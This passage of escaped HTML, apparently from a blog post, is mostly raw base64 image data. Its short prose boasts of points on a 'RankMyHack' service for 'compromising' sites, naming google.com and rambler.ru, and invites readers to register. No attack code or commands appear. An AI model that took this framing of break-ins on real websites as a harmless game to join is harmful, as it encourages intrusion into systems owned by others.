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" alt="" /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;872098 points is not bad, is it? The participant “blackfun” gained 1500000 points for “compromise” of google.com and the participant “m_script” gained 842696 points for “compromise” of rambler.ru! Ha&lt;/span&gt;-&lt;span style="mso-ansi-language: EN-US" lang="EN-US"&gt;ha&lt;/span&gt;! &lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;They say that break-in of my home page is cooler than break-in of rambler.ru ! )))&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;Let’s register in the RankMyHack system: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;img src="data:image/png;base64,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